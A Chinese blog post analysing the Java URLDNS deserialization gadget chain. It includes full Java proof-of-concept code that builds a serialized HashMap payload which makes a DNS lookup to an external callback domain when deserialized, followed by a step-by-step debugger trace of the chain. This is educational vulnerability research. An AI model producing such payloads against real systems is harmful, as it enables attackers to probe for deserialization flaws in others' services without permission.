先放代码,感觉还是自己跟着视频手写一遍更好理解,很多理解放在注释中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.lang.reflect.Field;  
import java.util.HashMap; //入口类
import java.net.URL; //调用链中的类
import java.io.*;

public class URLDNS {
public static void main(String[] args) throws Exception{

HashMap <URL,Object> hashMap = new HashMap<>();
URL url = new URL("http://vnmkzfpuho.dnstunnel.run");

//通过反射获取到url中的hashcode属性
Field field = url.getClass().getDeclaredField("hashCode");
//hashcode为私有属性,通过下面方法设置为可操作
field.setAccessible(true);

//这里在put前需要将hashCode值改一下,不然put方法也会请求dns,这样不管有没有反序列化都会请求dns

field.set(url,2); //重新设,避免混淆

hashMap.put(url,2);

field.set(url,-1); //改回,不然这条链就不能利用

//进行序列化
ObjectOutputStream w = new ObjectOutputStream(new FileOutputStream("bin.ser"));
w.writeObject(hashMap);
System.out.println(w);

//进行反序列化
ObjectInputStream o = new ObjectInputStream(new FileInputStream("bin.ser"));
o.readObject();
}
}

原理

看一下大佬总结的原理
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

开始分析

进入到hashMap类中可以看到它有序列化的接口
image-20230422211906952
并且重写了readObject,这个方法用于序列化数据,在Java中,如果readObject被重写那么首先会调用重写的readObject,下面这里的s为输入流证明可控
image-20230423224233141
开始调试,首先直接在下面这里进入hashMap类
image-20230423224245956
然后找到readObject方法在putVal()方法位置下断点
image-20230423224257331
这里hash()方法对key值重新进行了计算而key值为URL类的对象,跟进看一下
image-20230423224317914
hash()方法里面调用了hashCode()方法,这里key是URL的对象所以这里的hashCode方法是URL类中的,这里调试的时候一定要到key为URL对象后才能进入URL类中hashCode()方法,不然进入的就是Object中的hashCode()方法,对于小白这里很容易迷糊,比如我,继续跟进
image-20230423224330461
来到了URL的hashCode()方法,可以看到这里值不为-1的话就直接返回了,所以值必须为-1,在这个类中它的值已经初始化好了

继续分析,下面这里对hashCode进行了处理,跟进handler对象的hashCode()方法

可以看到handler是URLStreamHandler的对象
image-20230423224413351
可以看到在对hashCode进行处理时调用了getHostAddress()方法,这个方法可以获取IP地址
image-20230423224436669
跟进这个方法,这里直接贴一位大佬带有注释的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)//先判断该URL的hostAddress属性是否已经有值了
return u.hostAddress;//如果已有值,直接返回

String host = u.getHost();//获取Host
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);//获取IP地址,并把值赋给URL的hostAddress
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

从这里可以看出,如果你之前已经访问过dns的域名那么就不会出发第二次,我就是因为这个卡了半天还以为代码有问题,最后在下面这里发起DNS请求
image-20230423224452776
后面具体怎么发起请求可参考Java反序列化漏洞之URLDNS利用链(7) | LeiH - Blog (leihehe.top)
执行程序可看到请求成功
image-20230423224502505

利用链

HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

总结

虽然这是Java反序列化最简单的一条链但是我一点都没感觉轻松,所以这篇分析还有很多不足之处,感觉自己手写分析之后再去看ysoserial上的URLDNS链会轻松很多,一开始直接拿那个链分析一直没进度